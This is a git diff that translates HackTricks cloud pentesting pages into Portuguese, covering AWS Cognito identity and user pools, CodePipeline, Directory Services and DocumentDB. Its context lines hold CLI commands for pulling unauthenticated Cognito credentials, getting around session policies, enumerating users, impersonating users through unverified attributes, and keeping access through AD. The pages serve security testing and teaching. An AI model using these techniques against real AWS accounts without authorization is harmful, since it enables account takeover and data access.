+Apenas **conhecendo o ID do Pool de Identidade**, você pode ser capaz de **obter credenciais do papel associado a usuários não autenticados** (se houver). [**Veja como aqui**](cognito-identity-pools.md#accessing-iam-roles).
 
 ### User Pools - Enumeração Não Autenticada
 
-Mesmo que você **não saiba um nome de usuário válido** dentro do Cognito, pode ser possível **enumerar** nomes de **usuários válidos**, **BF** as **senhas** ou até mesmo **registrar um novo usuário** apenas **sabendo o ID do cliente do App** (que geralmente é encontrado no código-fonte). [**Veja como aqui**](cognito-user-pools.md#registration)**.**
+Mesmo que você **não conheça um nome de usuário válido** dentro do Cognito, você pode ser capaz de **enumerar** nomes de **usuários válidos**, **BF** as **senhas** ou até mesmo **registrar um novo usuário** apenas **conhecendo o ID do cliente do App** (que geralmente é encontrado no código-fonte). [**Veja como aqui**](cognito-user-pools.md#registration)**.**
 
 ## Privesc
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md
index adb31ac86..464164711 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md
@@ -4,7 +4,7 @@
 
 ## Informações Básicas
 
-Os pools de identidade desempenham um papel crucial ao permitir que seus usuários **adquiram credenciais temporárias**. Essas credenciais são essenciais para acessar vários serviços da AWS, incluindo, mas não se limitando a Amazon S3 e DynamoDB. Um recurso notável dos pools de identidade é seu suporte tanto para usuários convidados anônimos quanto para uma variedade de provedores de identidade para autenticação de usuários. Os provedores de identidade suportados incluem:
+Os pools de identidade desempenham um papel crucial ao permitir que seus usuários **adquiram credenciais temporárias**. Essas credenciais são essenciais para acessar vários serviços da AWS, incluindo, mas não se limitando a, Amazon S3 e DynamoDB. Um recurso notável dos pools de identidade é o suporte tanto para usuários anônimos quanto para uma variedade de provedores de identidade para autenticação de usuários. Os provedores de identidade suportados incluem:
 
 - Amazon Cognito user pools
 - Opções de login social, como Facebook, Google, Login com Amazon e Sign in with Apple
@@ -41,13 +41,13 @@ Isso é **útil para manter informações de um usuário** (que sempre usará o
 
 Além disso, o serviço **cognito-sync** é o serviço que permite **gerenciar e sincronizar essas informações** (nos conjuntos de dados, enviando informações em streams e mensagens SNS...).
 
-### Tools for pentesting
+### Ferramentas para pentesting
 
 - [Pacu](https://github.com/RhinoSecurityLabs/pacu), o framework de exploração da AWS, agora inclui os módulos "cognito\_\_enum" e "cognito\_\_attack" que automatizam a enumeração de todos os ativos do Cognito em uma conta e sinalizam configurações fracas, atributos de usuário usados para controle de acesso, etc., e também automatizam a criação de usuários (incluindo suporte a MFA) e escalonamento de privilégios com base em atributos personalizados modificáveis, credenciais de pool de identidade utilizáveis, funções assumíveis em tokens de id, etc.
 
 Para uma descrição das funções dos módulos, veja a parte 2 do [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Para instruções de instalação, veja a página principal do [Pacu](https://github.com/RhinoSecurityLabs/pacu).
 
-#### Usage
+#### Uso
 
 Exemplo de uso do cognito\_\_attack para tentar a criação de usuários e todos os vetores de privesc contra um determinado pool de identidade e cliente de pool de usuários:
 ```bash
@@ -75,7 +75,7 @@ Para mais informações, consulte https://github.com/padok-team/cognito-scanner
 
 ### Não Autenticado
 
-A única coisa que um atacante precisa saber para **obter credenciais AWS** em um aplicativo Cognito como usuário não autenticado é o **ID do Pool de Identidade**, e esse **ID deve estar codificado** no **aplicativo** web/móvel para que ele o utilize. Um ID se parece com isso: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (não é passível de força bruta).
+A única coisa que um atacante precisa saber para **obter credenciais AWS** em um aplicativo Cognito como usuário não autenticado é o **ID do Pool de Identidade**, e esse **ID deve estar codificado** no **aplicativo** web/móvel para que ele o utilize. Um ID se parece com isso: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (não é possível fazer brute force).
 
 > [!TIP]
 > A **função IAM Cognito não autenticada criada via** é chamada por padrão de `Cognito_<Nome do Pool de Identidade>Unauth_Role`
@@ -116,9 +116,9 @@ aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --
 
 ### Fluxo de Autenticação Aprimorado vs Básico
 
-A seção anterior seguiu o **fluxo de autenticação aprimorado padrão**. Esse fluxo define uma **política de sessão** [**restritiva**](../../aws-basic-information/#session-policies) para a sessão do papel IAM gerado. Essa política permitirá apenas que a sessão [**use os serviços desta lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (mesmo que o papel tenha acesso a outros serviços).
+A seção anterior seguiu o **fluxo de autenticação aprimorado padrão**. Esse fluxo define uma **política de sessão** [**restritiva**](../../aws-basic-information/#session-policies) para a sessão do papel IAM gerado. Essa política permitirá que a sessão [**use os serviços desta lista**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (mesmo que o papel tenha acesso a outros serviços).
 
-No entanto, há uma maneira de contornar isso; se o **pool de Identidade tiver o "Fluxo Básico (Clássico)" habilitado**, o usuário poderá obter uma sessão usando esse fluxo que **não terá essa política de sessão restritiva**.
+No entanto, há uma maneira de contornar isso; se o **pool de Identidade tiver "Fluxo Básico (Clássico)" habilitado**, o usuário poderá obter uma sessão usando esse fluxo que **não terá essa política de sessão restritiva**.
 ```bash
 # Get auth ID
 aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
@@ -142,14 +142,14 @@ Tendo um conjunto de credenciais IAM, você deve verificar [quais acessos você
 > [!NOTE]
 > Lembre-se de que **usuários autenticados** provavelmente terão **permissões diferentes**, então se você puder **se inscrever dentro do aplicativo**, tente fazer isso e obtenha as novas credenciais.
 
-Pode haver também **funções** disponíveis para **usuários autenticados acessando o Pool de Identidade**.
+Também pode haver **funções** disponíveis para **usuários autenticados acessando o Identity Pool**.
 
 Para isso, você pode precisar ter acesso ao **provedor de identidade**. Se for um **Cognito User Pool**, talvez você possa abusar do comportamento padrão e **criar um novo usuário você mesmo**.
 
 > [!TIP]
-> A **função IAM Cognito autenticada criada via** é chamada por padrão `Cognito_<Nome do Pool de Identidade>Auth_Role`
+> A **função IAM Cognito autenticada criada via** é chamada por padrão `Cognito_<Identity Pool name>Auth_Role`
 
-De qualquer forma, o **exemplo a seguir** espera que você já tenha feito login em um **Cognito User Pool** usado para acessar o Pool de Identidade (não se esqueça de que outros tipos de provedores de identidade também podem ser configurados).
+De qualquer forma, o **exemplo a seguir** espera que você já tenha feito login em um **Cognito User Pool** usado para acessar o Identity Pool (não se esqueça de que outros tipos de provedores de identidade também podem ser configurados).
 
 <pre class="language-bash"><code class="lang-bash">aws cognito-identity get-id \
 --identity-pool-id &#x3C;identity_pool_id> \
@@ -161,7 +161,7 @@ aws cognito-identity get-credentials-for-identity \
 --logins cognito-idp.&#x3C;region>.amazonaws.com/&#x3C;YOUR_USER_POOL_ID>=&#x3C;ID_TOKEN>
 
 
-# No IdToken você pode encontrar funções às quais um usuário tem acesso por causa dos Grupos do User Pool
+# No IdToken você pode encontrar funções às quais um usuário tem acesso devido aos Grupos do User Pool
 # Use o --custom-role-arn para obter credenciais para uma função específica
 aws cognito-identity get-credentials-for-identity \
 --identity-id &#x3C;identity_id> \
@@ -170,6 +170,6 @@ aws cognito-identity get-credentials-for-identity \
 </code></pre>
 
 > [!WARNING]
-> É possível **configurar diferentes funções IAM dependendo do provedor de identidade** que o usuário está logado ou até mesmo apenas dependendo **do usuário** (usando claims). Portanto, se você tiver acesso a diferentes usuários através do mesmo ou de diferentes provedores, pode ser **vale a pena fazer login e acessar as funções IAM de todos eles**.
+> É possível **configurar diferentes funções IAM dependendo do provedor de identidade** com o qual o usuário está logado ou até mesmo apenas dependendo **do usuário** (usando claims). Portanto, se você tiver acesso a diferentes usuários através do mesmo ou de diferentes provedores, pode ser **vale a pena fazer login e acessar as funções IAM de todos eles**.
 
 {{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md
index 19abb7d38..6f06bb199 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md
@@ -4,12 +4,12 @@
 
 ## Informações Básicas
 
-Um pool de usuários é um diretório de usuários no Amazon Cognito. Com um pool de usuários, seus usuários podem **fazer login em seu aplicativo web ou móvel** através do Amazon Cognito, **ou federar** através de um **provedor de identidade** (IdP) de terceiros. Se seus usuários fizerem login diretamente ou através de um terceiro, todos os membros do pool de usuários têm um perfil de diretório que você pode acessar através de um SDK.
+Um pool de usuários é um diretório de usuários no Amazon Cognito. Com um pool de usuários, seus usuários podem **fazer login em seu aplicativo web ou móvel** através do Amazon Cognito, **ou federar** através de um **provedor de identidade** de terceiros (IdP). Se seus usuários fizerem login diretamente ou através de um terceiro, todos os membros do pool de usuários têm um perfil de diretório que você pode acessar através de um SDK.
 
 Os pools de usuários fornecem:
 
 - Serviços de registro e login.
-- Uma interface web personalizável e integrada para fazer login de usuários.
+- Uma interface web personalizável integrada para fazer login de usuários.
 - Login social com Facebook, Google, Login com Amazon e Sign in with Apple, e através de provedores de identidade SAML e OIDC do seu pool de usuários.
 - Gerenciamento de diretório de usuários e perfis de usuários.
 - Recursos de segurança, como autenticação multifatorial (MFA), verificações de credenciais comprometidas, proteção contra tomada de conta e verificação de telefone e e-mail.
@@ -17,11 +17,11 @@ Os pools de usuários fornecem:
 
 O **código-fonte** das aplicações geralmente também conterá o **ID do pool de usuários** e o **ID da aplicação cliente**, (e às vezes o **segredo da aplicação**?) que são necessários para um **usuário fazer login** em um Pool de Usuários Cognito.
 
-### Ataques potenciais
+### Ataques Potenciais
 
 - **Registro**: Por padrão, um usuário pode se registrar, então ele poderia criar um usuário para si mesmo.
-- **Enumeração de usuários**: A funcionalidade de registro pode ser usada para encontrar nomes de usuários que já existem. Essa informação pode ser útil para o ataque de força bruta.
-- **Força bruta de login**: Na seção [**Autenticação**](cognito-user-pools.md#authentication) você tem todos os **métodos** que um usuário tem para **fazer login**, você poderia tentar forçar a entrada **encontrar credenciais válidas**.
+- **Enumeração de usuários**: A funcionalidade de registro pode ser usada para encontrar nomes de usuários que já existem. Essa informação pode ser útil para um ataque de força bruta.
+- **Força bruta de login**: Na seção [**Autenticação**](cognito-user-pools.md#authentication) você tem todos os **métodos** que um usuário tem para **fazer login**, você poderia tentar forçar a entrada para **encontrar credenciais válidas**.
 
 ### Ferramentas para pentesting
 
@@ -36,7 +36,7 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma
 us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
 ```
-- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) é uma ferramenta CLI em python que implementa diferentes ataques ao Cognito, incluindo criação indesejada de contas e oracle de contas. Confira [este link](https://github.com/padok-team/cognito-scanner) para mais informações.
+- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) é uma ferramenta CLI em python que implementa diferentes ataques ao Cognito, incluindo criação indesejada de contas e oracle de contas. Confira [this link](https://github.com/padok-team/cognito-scanner) para mais informações.
 ```bash
 # Install
 pip install cognito-scanner
@@ -55,7 +55,7 @@ aws cognito-idp sign-up --client-id <client-id> \
 --username <username> --password <password> \
 --region <region> --no-sign-request
 ```
-#### Se qualquer um pode se registrar
+#### Se alguém pode se registrar
 
 Você pode encontrar um erro indicando que você precisa **fornecer mais detalhes** sobre o usuário:
 ```
@@ -73,19 +73,19 @@ An error occurred (UsernameExistsException) when calling the SignUp operation: U
 > Note no comando anterior como os **atributos personalizados começam com "custom:"**.\
 > Também saiba que ao registrar você **não pode criar novos atributos personalizados para o usuário**. Você só pode atribuir valor a **atributos padrão** (mesmo que não sejam obrigatórios) e **atributos personalizados especificados**.
 
-Ou apenas para testar se um id de cliente existe. Este é o erro se o client-id não existir:
+Ou apenas para testar se um client id existe. Este é o erro se o client-id não existir:
 ```
 An error occurred (ResourceNotFoundException) when calling the SignUp operation: User pool client 3ig612gjm56p1ljls1prq2miut does not exist.
 ```
-#### Se apenas o administrador puder registrar usuários
+#### Se apenas o administrador pode registrar usuários
 
 Você encontrará esse erro e não poderá registrar ou enumerar usuários:
 ```
 An error occurred (NotAuthorizedException) when calling the SignUp operation: SignUp is not permitted for this user pool
 ```
-### Verifying Registration
+### Verificando Registro
 
-Cognito permite **verificar um novo usuário verificando seu e-mail ou número de telefone**. Portanto, ao criar um usuário, geralmente será necessário pelo menos o nome de usuário e a senha e o **e-mail e/ou número de telefone**. Basta definir um **que você controla** para que você receba o código para **verificar sua** conta de usuário **recém-criada** assim:
+Cognito permite **verificar um novo usuário verificando seu e-mail ou número de telefone**. Portanto, ao criar um usuário, geralmente será necessário pelo menos o nome de usuário e a senha e o **e-mail e/ou número de telefone**. Basta definir um **que você controla** para que você receba o código para **verificar sua** nova **conta** de usuário assim:
 ```bash
 aws cognito-idp confirm-sign-up --client-id <cliet_id> \
 --username aasdasd2 --confirmation-code <conf_code> \
@@ -114,7 +114,7 @@ Você pode usar isso para **modificar o email e o número de telefone** de um us
 
 > [!WARNING]
 > Você **não poderá fazer login com email ou número de telefone** até que os verifique, mas você poderá **fazer login com o nome de usuário**.\
-> Note que mesmo que o email tenha sido modificado e não verificado, ele aparecerá no Token de ID dentro do **campo** **`email`** e o campo **`email_verified`** será **falso**, mas se o app **não estiver verificando isso, você pode se passar por outros usuários**.
+> Note que mesmo que o email tenha sido modificado e não verificado, ele aparecerá no ID Token dentro do **campo** **`email`** e o campo **`email_verified`** será **falso**, mas se o app **não estiver verificando isso, você pode se passar por outros usuários**.
 
 > Além disso, note que você pode colocar qualquer coisa dentro do campo **`name`** apenas modificando o **atributo name**. Se um app **estiver verificando** **aquele** campo por algum motivo **em vez do `email`** (ou qualquer outro atributo), você pode ser capaz de **se passar por outros usuários**.
 
@@ -158,20 +158,20 @@ aws cognito-idp change-password \
 ```
 ## Autenticação
 
-Um pool de usuários suporta **diferentes maneiras de autenticar**. Se você tem um **nome de usuário e senha**, também existem **diferentes métodos** suportados para login.\
-Além disso, quando um usuário é autenticado no Pool, **3 tipos de tokens são fornecidos**: O **Token de ID**, o **Token de Acesso** e o **Token de Atualização**.
+Um pool de usuários suporta **diferentes maneiras de autenticar**. Se você tiver um **nome de usuário e senha**, também há **diferentes métodos** suportados para login.\
+Além disso, quando um usuário é autenticado no Pool, **3 tipos de tokens são fornecidos**: O **ID Token**, o **Access token** e o **Refresh token**.
 
-- [**Token de ID**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): Ele contém declarações sobre a **identidade do usuário autenticado**, como `nome`, `email` e `número_de_telefone`. O token de ID também pode ser usado para **autenticar usuários em seus servidores de recursos ou aplicações de servidor**. Você deve **verificar** a **assinatura** do token de ID antes de confiar em qualquer declaração dentro do token de ID se você usá-lo em aplicações externas.
-- O Token de ID é o token que **contém os valores dos atributos do usuário**, mesmo os personalizados.
-- [**Token de Acesso**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): Ele contém declarações sobre o usuário autenticado, uma lista dos **grupos do usuário e uma lista de escopos**. O propósito do token de acesso é **autorizar operações de API** no contexto do usuário no pool de usuários. Por exemplo, você pode usar o token de acesso para **conceder ao seu usuário acesso** para adicionar, alterar ou excluir atributos do usuário.
-- [**Token de Atualização**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): Com tokens de atualização, você pode **obter novos Tokens de ID e Tokens de Acesso** para o usuário até que o **token de atualização se torne inválido**. Por **padrão**, o token de atualização **expira 30 dias após** o usuário da sua aplicação fazer login no seu pool de usuários. Quando você cria uma aplicação para seu pool de usuários, pode definir a expiração do token de atualização da aplicação para **qualquer valor entre 60 minutos e 10 anos**.
+- [**ID Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): Ele contém declarações sobre a **identidade do usuário autenticado**, como `name`, `email` e `phone_number`. O ID token também pode ser usado para **autenticar usuários em seus servidores de recursos ou aplicações de servidor**. Você deve **verificar** a **assinatura** do ID token antes de confiar em qualquer declaração dentro do ID token se você usá-lo em aplicações externas.
+- O ID Token é o token que **contém os valores dos atributos do usuário**, mesmo os personalizados.
+- [**Access Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): Ele contém declarações sobre o usuário autenticado, uma lista dos **grupos do usuário e uma lista de escopos**. O propósito do access token é **autorizar operações de API** no contexto do usuário no pool de usuários. Por exemplo, você pode usar o access token para **conceder acesso ao seu usuário** para adicionar, alterar ou excluir atributos de usuário.
+- [**Refresh Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): Com os refresh tokens, você pode **obter novos ID Tokens e Access Tokens** para o usuário até que o **refresh token se torne inválido**. Por **padrão**, o refresh token **expira 30 dias após** o usuário da sua aplicação fazer login no seu pool de usuários. Quando você cria uma aplicação para seu pool de usuários, pode definir a expiração do refresh token da aplicação para **qualquer valor entre 60 minutos e 10 anos**.
 
 ### ADMIN_NO_SRP_AUTH & ADMIN_USER_PASSWORD_AUTH
 
 Este é o fluxo de autenticação do lado do servidor:
 
-- O aplicativo do lado do servidor chama a **operação da API `AdminInitiateAuth`** (em vez de `InitiateAuth`). Esta operação requer credenciais da AWS com permissões que incluem **`cognito-idp:AdminInitiateAuth`** e **`cognito-idp:AdminRespondToAuthChallenge`**. A operação retorna os parâmetros de autenticação necessários.
-- Depois que o aplicativo do lado do servidor tem os **parâmetros de autenticação**, ele chama a **operação da API `AdminRespondToAuthChallenge`**. A operação da API `AdminRespondToAuthChallenge` só tem sucesso quando você fornece credenciais da AWS.
+- O aplicativo do lado do servidor chama a **`AdminInitiateAuth` API operation** (em vez de `InitiateAuth`). Esta operação requer credenciais da AWS com permissões que incluem **`cognito-idp:AdminInitiateAuth`** e **`cognito-idp:AdminRespondToAuthChallenge`**. A operação retorna os parâmetros de autenticação necessários.
+- Depois que o aplicativo do lado do servidor tem os **parâmetros de autenticação**, ele chama a **`AdminRespondToAuthChallenge` API operation**. A operação `AdminRespondToAuthChallenge` só tem sucesso quando você fornece credenciais da AWS.
 
 Este **método NÃO está habilitado** por padrão.
 
@@ -181,11 +181,11 @@ Para **fazer login**, você **precisa** saber:
 - id do cliente
 - nome de usuário
 - senha
-- segredo do cliente (somente se o aplicativo estiver configurado para usar um segredo)
+- segredo do cliente (somente se a aplicação estiver configurada para usar um segredo)
 
 > [!NOTE]
 > Para **poder fazer login com este método**, essa aplicação deve permitir login com `ALLOW_ADMIN_USER_PASSWORD_AUTH`.\
-> Além disso, para realizar esta ação, você precisa de credenciais com as permissões **`cognito-idp:AdminInitiateAuth`** e **`cognito-idp:AdminRespondToAuthChallenge`**
+> Além disso, para realizar essa ação, você precisa de credenciais com as permissões **`cognito-idp:AdminInitiateAuth`** e **`cognito-idp:AdminRespondToAuthChallenge`**
 ```python
 aws cognito-idp admin-initiate-auth \
 --client-id <client-id> \
@@ -399,7 +399,7 @@ Por padrão, está desativado, mas se ativado, o Cognito pode ser capaz de **enc
 
 ### **MFA Lembrar dispositivo**
 
-Se o usuário fizer login do mesmo dispositivo, o MFA pode ser contornado, portanto, tente fazer login do mesmo navegador com os mesmos metadados (IP?) para tentar contornar a proteção do MFA.
+Se o usuário fizer login do mesmo dispositivo, o MFA pode ser contornado, portanto, tente fazer login do mesmo navegador com os mesmos metadados (IP?) para tentar contornar a proteção MFA.
 
 ## Grupos de User Pool Funções IAM
 
@@ -408,17 +408,17 @@ Além disso, **usuários** podem ser atribuídos a **mais de 1 grupo com diferen
 
 Observe que, mesmo que um grupo esteja dentro de um grupo com uma função IAM anexada, para poder acessar as credenciais IAM desse grupo, é necessário que o **User Pool seja confiável por um Identity Pool** (e conhecer os detalhes desse Identity Pool).
 
-Outro requisito para obter a **função IAM indicada no IdToken** quando um usuário é autenticado no User Pool (`aws cognito-idp initiate-auth...`) é que o **provedor de autenticação do Provedor de Identidade** precisa indicar que a **função deve ser selecionada do token.**
+Outro requisito para obter a **função IAM indicada no IdToken** quando um usuário é autenticado no User Pool (`aws cognito-idp initiate-auth...`) é que o **provedor de autenticação do Identity Provider** precisa indicar que a **função deve ser selecionada do token.**
 
 <figure><img src="../../../../images/image (250).png" alt=""><figcaption></figcaption></figure>
 
-As **funções** às quais um usuário tem acesso estão **dentro do `IdToken`**, e um usuário pode **selecionar qual função gostaria de credenciais** com o **`--custom-role-arn`** do `aws cognito-identity get-credentials-for-identity`.\
+As **funções** às quais um usuário tem acesso estão **dentro do `IdToken`**, e um usuário pode **selecionar qual função gostaria de obter credenciais** com o **`--custom-role-arn`** do `aws cognito-identity get-credentials-for-identity`.\
 No entanto, se a **opção padrão** for a **configurada** (`usar função padrão`), e você tentar acessar uma função do IdToken, você receberá **erro** (é por isso que a configuração anterior é necessária):
 ```
 An error occurred (InvalidParameterException) when calling the GetCredentialsForIdentity operation: Only SAML providers and providers with RoleMappings support custom role ARN.
 ```
 > [!WARNING]
-> Note que o papel atribuído a um **Grupo de User Pool** precisa ser **acessível pelo Provedor de Identidade** que **confia no User Pool** (já que as **credenciais de sessão do papel IAM serão obtidas a partir dele**).
+> Observe que o papel atribuído a um **Grupo de User Pool** precisa ser **acessível pelo Provedor de Identidade** que **confia no User Pool** (já que as **credenciais de sessão do papel IAM serão obtidas a partir dele**).
 ```json
 {
 "Version": "2012-10-17",
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
index 1065da7cf..fc9b55830 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
@@ -35,7 +35,7 @@ Na página a seguir, você pode verificar como **abusar das permissões do datap
 
 AWS CodePipeline é um **serviço de entrega contínua** totalmente gerenciado que ajuda você a **automatizar seus pipelines de lançamento** para atualizações rápidas e confiáveis de aplicativos e infraestrutura. O CodePipeline automatiza as **fases de construção, teste e implantação** do seu processo de lançamento toda vez que há uma alteração de código, com base no modelo de lançamento que você define.
 
-### Enumeração
+### Enumeration
 ```bash
 aws codepipeline list-pipelines
 aws codepipeline get-pipeline --name <pipeline_name>
@@ -54,7 +54,7 @@ Na página a seguir, você pode verificar como **abusar das permissões do codep
 
 ## CodeCommit
 
-É um **serviço de controle de versão**, que é hospedado e totalmente gerenciado pela Amazon, que pode ser usado para armazenar dados (documentos, arquivos binários, código-fonte) de forma privada e gerenciá-los na nuvem.
+É um **serviço de controle de versão**, que é hospedado e totalmente gerenciado pela Amazon, e que pode ser usado para armazenar dados (documentos, arquivos binários, código-fonte) de forma privada e gerenciá-los na nuvem.
 
 Ele **elimina** a necessidade de o usuário conhecer Git e **gerenciar seu próprio sistema de controle de versão** ou se preocupar em escalar sua infraestrutura para cima ou para baixo. O Codecommit suporta todas as **funcionalidades padrão que podem ser encontradas no Git**, o que significa que funciona sem esforço com as ferramentas baseadas em Git atuais do usuário.
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md
index 7512219c8..3051d5212 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md
@@ -1,28 +1,28 @@
-# AWS - Directory Services / WorkDocs Enum
+# AWS - Serviços de Diretório / Enumeração do WorkDocs
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Directory Services
+## Serviços de Diretório
 
 O AWS Directory Service para Microsoft Active Directory é um serviço gerenciado que facilita a **configuração, operação e escalabilidade de um diretório** na AWS Cloud. Ele é construído sobre o **Microsoft Active Directory** real e se integra de forma estreita com outros serviços da AWS, facilitando a gestão de suas cargas de trabalho e recursos da AWS que reconhecem diretórios. Com o AWS Managed Microsoft AD, você pode **usar seus usuários, grupos e políticas** do Active Directory existentes para gerenciar o acesso aos seus recursos da AWS. Isso pode ajudar a simplificar sua gestão de identidade e reduzir a necessidade de soluções adicionais de identidade. O AWS Managed Microsoft AD também fornece backups automáticos e capacidades de recuperação de desastres, ajudando a garantir a disponibilidade e durabilidade do seu diretório. No geral, o AWS Directory Service para Microsoft Active Directory pode ajudar você a economizar tempo e recursos, fornecendo um serviço de Active Directory gerenciado, altamente disponível e escalável na AWS Cloud.
 
-### Options
+### Opções
 
-O Directory Services permite criar 5 tipos de diretórios:
+Os Serviços de Diretório permitem criar 5 tipos de diretórios:
 
 - **AWS Managed Microsoft AD**: Que executará um novo **Microsoft AD na AWS**. Você poderá definir a senha do administrador e acessar os DCs em uma VPC.
-- **Simple AD**: Que será um servidor **Linux-Samba** compatível com Active Directory. Você poderá definir a senha do administrador e acessar os DCs em uma VPC.
+- **Simple AD**: Que será um servidor compatível com Active Directory **Linux-Samba**. Você poderá definir a senha do administrador e acessar os DCs em uma VPC.
 - **AD Connector**: Um proxy para **redirecionar solicitações de diretório para seu Microsoft Active Directory existente** sem armazenar em cache nenhuma informação na nuvem. Ele ficará ouvindo em uma **VPC** e você precisará fornecer **credenciais para acessar o AD existente**.
 - **Amazon Cognito User Pools**: Isso é o mesmo que Cognito User Pools.
 - **Cloud Directory**: Este é o **mais simples**. Um diretório **sem servidor** onde você indica o **esquema** a ser usado e é **cobrado de acordo com o uso**.
 
-Os serviços de diretório da AWS permitem **sincronizar** com seu **Microsoft AD local** existente, **executar o seu próprio** na AWS ou sincronizar com **outros tipos de diretórios**.
+Os serviços de diretório da AWS permitem **sincronizar** com seu **Microsoft AD local** existente, **executar o seu próprio** na AWS ou sincronizar com **outros tipos de diretório**.
 
-### Lab
+### Laboratório
 
 Aqui você pode encontrar um bom tutorial para criar seu próprio Microsoft AD na AWS: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html)
 
-### Enumeration
+### Enumeração
 ```bash
 # Get directories and DCs
 aws ds describe-directories
@@ -55,7 +55,7 @@ Note que se a **descrição** do diretório contiver um **domínio** no campo **
 
 ### Using an AD user
 
-Um **usuário AD** pode ter **acesso ao console de gerenciamento da AWS** através de um papel a ser assumido. O **nome de usuário padrão é Admin** e é possível **alterar sua senha** a partir do console da AWS.
+Um **usuário AD** pode ter **acesso ao console de gerenciamento AWS** através de um papel a ser assumido. O **nome de usuário padrão é Admin** e é possível **alterar sua senha** a partir do console AWS.
 
 Portanto, é possível **alterar a senha do Admin**, **criar um novo usuário** ou **alterar a senha** de um usuário e conceder a esse usuário um papel para manter o acesso.\
 Também é possível **adicionar um usuário a um grupo dentro do AD** e **dar a esse grupo AD acesso a um papel** (para tornar essa persistência mais discreta).
@@ -69,13 +69,13 @@ Você pode encontrar um guia aqui: [https://docs.aws.amazon.com/directoryservice
 
 ### ~~Sharing AD (from attacker to victim)~~
 
-Não parece ser possível conceder acesso à AWS a usuários de um ambiente AD diferente para uma conta AWS.
+Não parece ser possível conceder acesso AWS a usuários de um ambiente AD diferente para uma conta AWS.
 
 ## WorkDocs
 
-Amazon Web Services (AWS) WorkDocs é um serviço de **armazenamento e compartilhamento de arquivos** baseado em nuvem. Faz parte do conjunto de serviços de computação em nuvem da AWS e é projetado para fornecer uma solução segura e escalável para organizações armazenarem, compartilharem e colaborarem em arquivos e documentos.
+Amazon Web Services (AWS) WorkDocs é um **serviço de armazenamento e compartilhamento de arquivos** baseado em nuvem. Faz parte do conjunto de serviços de computação em nuvem da AWS e é projetado para fornecer uma solução segura e escalável para organizações armazenarem, compartilharem e colaborarem em arquivos e documentos.
 
-AWS WorkDocs oferece uma interface baseada na web para os usuários fazerem upload, acessar e gerenciar seus arquivos e documentos. Também oferece recursos como controle de versão, colaboração em tempo real e integração com outros serviços da AWS e ferramentas de terceiros.
+AWS WorkDocs oferece uma interface baseada na web para os usuários fazerem upload, acessar e gerenciar seus arquivos e documentos. Também oferece recursos como controle de versão, colaboração em tempo real e integração com outros serviços AWS e ferramentas de terceiros.
 
 ### Enumeration
 ```bash
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
index d7465f79f..467ebdfbd 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md
@@ -1,4 +1,4 @@
-# AWS - DocumentDB Enum
+# AWS - Enumeração do DocumentDB
 
 {{#include ../../../banners/hacktricks-training.md}}
 
@@ -6,7 +6,7 @@
 
